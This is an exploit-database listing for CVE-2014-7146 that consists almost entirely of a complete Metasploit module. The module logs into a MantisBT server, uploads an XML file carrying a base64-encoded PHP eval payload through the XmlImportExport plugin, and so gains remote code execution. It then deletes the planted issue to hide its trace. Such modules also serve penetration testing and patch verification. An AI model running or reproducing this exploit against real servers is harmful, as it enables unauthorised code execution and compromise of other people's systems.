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MantisBT XmlImportExport Plugin PHP Code Injection Exploit

Author
Egidio Romano
Risk
[
Security Risk High
]
0day-ID
0day-ID-22877
Category
remote exploits
Date add
16-11-2014
CVE
CVE-2014-7146
Platform
php
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
'Description' => %q{
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
],
'References' =>
[
['CVE', '2014-7146']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Nov 8 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
], self.class)
end
def check
res = exec_php('phpinfo(); die();', true)
if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end
def do_login()
print_status('Checking access to MantisBT...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
})
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
session_cookie = res.get_cookies
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
"#{session_cookie} #{res.get_cookies}"
end
def upload_xml(payload_b64, rand_text, cookies, is_check)
if is_check
timeout = 20
else
timeout = 3
end
rand_num = Rex::Text.rand_text_numeric(1, 9)
print_status('Checking XmlImportExport plugin...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
'cookie' => cookies,
'vars_get' => {
'page' => 'XmlImportExport/import'
}
})
unless res && res.code == 200
print_error('Error trying to access XmlImportExport/import page...')
return false
end
# Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to read CSRF token')
return false
end
# Retrieving default project id
if res.body =~ /name="project_id" value="([0-9]+)"/
project_id = Regexp.last_match[1]
else
print_error('Error trying to read project id')
return false
end
# Retrieving default category id
if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
category_id = Regexp.last_match[1]
category_name = Regexp.last_match[2]
else
print_error('Error trying to read default category')
return false
end
# Retrieving default max file size
if res.body =~ /name="max_file_size" value="([0-9]+)"/
max_file_size = Regexp.last_match[1]
else
print_error('Error trying to read default max file size')
return false
end
# Retrieving default step
if res.body =~ /name="step" value="([0-9]+)"/
step = Regexp.last_match[1]
else
print_error('Error trying to read default step value')
return false
end
xml_file = %Q|
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
<issue>
<id>#{ rand_num }</id>
<project id="#{ project_id }">#{ rand_text }</project>
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
<priority id="30">normal</priority>
<severity id="50">minor</severity>
<reproducibility id="70">have not tried</reproducibility>
<status id="#{ rand_num }">new</status>
<resolution id="#{ rand_num }">open</resolution>
<projection id="#{ rand_num }">none</projection>
<category id="#{ category_id }">#{ category_name }</category>
<date_submitted>1415492267</date_submitted>
<last_updated>1415507582</last_updated>
<eta id="#{ rand_num }">none</eta>
<view_state id="#{ rand_num }">public</view_state>
<summary>#{ rand_text }</summary>
<due_date>1</due_date>
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
</issue>
</mantis>
|
data = Rex::MIME::Message.new
data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
data_post = data.to_s
print_status('Sending payload...')
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post
}, timeout)
end
def exec_php(php_code, is_check = false)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload
while Rex::Text.encode_base64(payload_clean) =~ /=/
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
rand_text = Rex::Text.rand_text_alpha(5, 8)
cookies = do_login()
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login()
print_status("Deleting issue (#{ rand_text })...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
'cookie' => cookies
})
unless res && res.code == 200
print_error('Error trying to access My View page')
return false
end
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
issue_id = Regexp.last_match[1]
else
print_error('Error trying to retrieve issue id')
return false
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
'cookie' => cookies,
'vars_get' => {
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to retrieve CSRF token')
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
'cookie' => cookies,
'vars_post' => {
'bug_actiongroup_DELETE_token' => csrf_token,
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
print_status("Issue number (#{ issue_id }) removed")
else
print_error("Removing issue number (#{ issue_id }) has failed")
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end
end
end

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